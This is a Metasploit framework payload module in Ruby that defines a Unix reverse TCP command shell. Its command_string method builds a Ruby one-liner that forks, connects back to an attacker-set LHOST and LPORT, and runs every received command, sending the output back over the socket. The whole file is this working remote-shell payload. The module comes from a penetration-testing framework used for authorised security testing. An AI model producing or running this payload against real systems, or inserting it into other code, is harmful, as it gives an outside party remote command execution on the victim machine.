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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 133
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  include Msf::Payload::Single
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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     'Name'        => 'Unix Command Shell, Reverse TCP (via Ruby)',
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     'Description' => 'Connect back and create a command shell via Ruby',
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     'Author'      => 'kris katterjohn',
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     'License'     => MSF_LICENSE,
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     'Platform'    => 'unix',
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     'Arch'        => ARCH_CMD,
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     'Handler'     => Msf::Handler::ReverseTcp,
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     'Session'     => Msf::Sessions::CommandShell,
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     'PayloadType' => 'cmd',
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     'RequiredCmd' => 'ruby',
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     'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
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    ))
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    register_advanced_options(
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      [
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        OptString.new('RubyPath', [true, 'The path to the Ruby executable', 'ruby'])
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      ]
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    )
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  end
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  def generate(_opts = {})
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    vprint_good(command_string)
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    return super + command_string
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  end
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  def command_string
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    lhost = datastore['LHOST']
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    lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
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    "#{datastore['RubyPath']} -rsocket -e 'exit if fork;c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"
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  end
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end
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